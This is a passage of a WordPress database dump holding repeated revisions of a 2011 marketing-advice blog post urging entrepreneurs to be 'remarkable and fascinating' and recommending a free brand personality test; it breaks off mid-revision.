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(1669, 2, '2011-06-30 13:28:27', '2011-06-30 20:28:27', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> blog and take her free <a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>. I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-6', '', '', '2011-06-30 13:28:27', '2011-06-30 20:28:27', '', 1662, 'http://www.whitehotcenter.com/1662-revision-6/', 0, 'revision', '', 0),
(1670, 2, '2011-06-30 13:30:35', '2011-06-30 20:30:35', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-7', '', '', '2011-06-30 13:30:35', '2011-06-30 20:30:35', '', 1662, 'http://www.whitehotcenter.com/1662-revision-7/', 0, 'revision', '', 0),
(1671, 2, '2011-06-30 13:31:02', '2011-06-30 20:31:02', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-8', '', '', '2011-06-30 13:31:02', '2011-06-30 20:31:02', '', 1662, 'http://www.whitehotcenter.com/1662-revision-8/', 0, 'revision', '', 0),
(1672, 2, '2011-06-30 13:34:05', '2011-06-30 20:34:05', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-9', '', '', '2011-06-30 13:34:05', '2011-06-30 20:34:05', '', 1662, 'http://www.whitehotcenter.com/1662-revision-9/', 0, 'revision', '', 0),
(1674, 2, '2011-06-30 13:44:34', '2011-06-30 20:44:34', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-11', '', '', '2011-06-30 13:44:34', '2011-06-30 20:44:34', '', 1662, 'http://www.whitehotcenter.com/1662-revision-11/', 0, 'revision', '', 0),
(1673, 2, '2011-06-30 13:34:13', '2011-06-30 20:34:13', '<p><img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" /></p>\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\n<p>In working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients requires you bring something extraordinary to the party.</p>\r\n<p>Customers don’t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.</p>\r\n<p><strong>Value is in the eye of the beholder. </strong></p>\r\n<p>You may think your stuff’s cool, but if nobody is paying attention to your contributions, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.</p>\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\n<p>You can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.</p>\r\n<p><strong>A special treat for you.</strong></p>\r\n<p>Head on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.</p>\r\n<p>In the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.</p>\r\n<p><strong>Here are some suggestions for being more remarkable and fascinating:</strong></p>\r\n<p>• have empathy for others</p>\r\n<p>• contribute to others without attachment to reciprocity</p>\r\n<p>• find a parade and lead it</p>\r\n<p>• stop competing for what’s already been created by others</p>\r\n<p>• stop selling, listen</p>\r\n<p>• take more risks, get out on the edges</p>\r\n<p>• be humble and grateful</p>\r\n<p>• elevate the quality of your presence in the world</p>\r\n<p>• stand for a higher ideal</p>\r\n<p>• seek respect over affection</p>\r\n<p>• elevate all you come into contact with</p>\r\n<p>• quit sending your brochures through the mail</p>\r\n<p>• don’t cold call prospects, let them find you.<strong></strong></p>\r\n<p><strong>The slush pile grows ever larger.</strong></p>\r\n<p>The quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.</p>\r\n<p>The game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.</p>\r\n<p><strong>What makes you remarkable and fascinating?</strong></p>\r\n', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-10', '', '', '2011-06-30 13:34:13', '2011-06-30 20:34:13', '', 1662, 'http://www.whitehotcenter.com/1662-revision-10/', 0, 'revision', '', 0),
(1676, 2, '2011-06-30 13:44:52', '2011-06-30 20:44:52', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-13', '', '', '2011-06-30 13:44:52', '2011-06-30 20:44:52', '', 1662, 'http://www.whitehotcenter.com/1662-revision-13/', 0, 'revision', '', 0),
(1675, 2, '2011-06-30 13:44:41', '2011-06-30 20:44:41', '<p><img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" /></p>\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\n<p>In working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.</p>\r\n<p>Customers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.</p>\r\n<p><strong>Value is in the eye of the beholder. </strong></p>\r\n<p>You may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.</p>\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\n<p>You can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.</p>\r\n<p><strong>A special treat for you.</strong></p>\r\n<p>Head on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.</p>\r\n<p>In the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.</p>\r\n<p><strong>Here are some suggestions for being more remarkable and fascinating:</strong></p>\r\n<p>• have empathy for others</p>\r\n<p>• contribute to others without attachment to reciprocity</p>\r\n<p>• find a parade and lead it</p>\r\n<p>• stop competing for what’s already been created by others</p>\r\n<p>• stop selling, listen</p>\r\n<p>• take more risks, get out on the edges</p>\r\n<p>• be humble and grateful</p>\r\n<p>• elevate the quality of your presence in the world</p>\r\n<p>• stand for a higher ideal</p>\r\n<p>• seek respect over affection</p>\r\n<p>• elevate all you come into contact with</p>\r\n<p>• quit sending your brochures through the mail</p>\r\n<p>• don’t cold call prospects, let them find you.<strong></strong></p>\r\n<p><strong>The slush pile grows ever larger.</strong></p>\r\n<p>The quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.</p>\r\n<p>The game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.</p>\r\n<p><strong>What makes you remarkable and fascinating?</strong></p>\r\n', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-12', '', '', '2011-06-30 13:44:41', '2011-06-30 20:44:41', '', 1662, 'http://www.whitehotcenter.com/1662-revision-12/', 0, 'revision', '', 0),
(1677, 2, '2011-06-30 13:47:31', '2011-06-30 20:47:31', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-14', '', '', '2011-06-30 13:47:31', '2011-06-30 20:47:31', '', 1662, 'http://www.whitehotcenter.com/1662-revision-14/', 0, 'revision', '', 0),
(1678, 2, '2011-06-30 13:47:40', '2011-06-30 20:47:40', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by 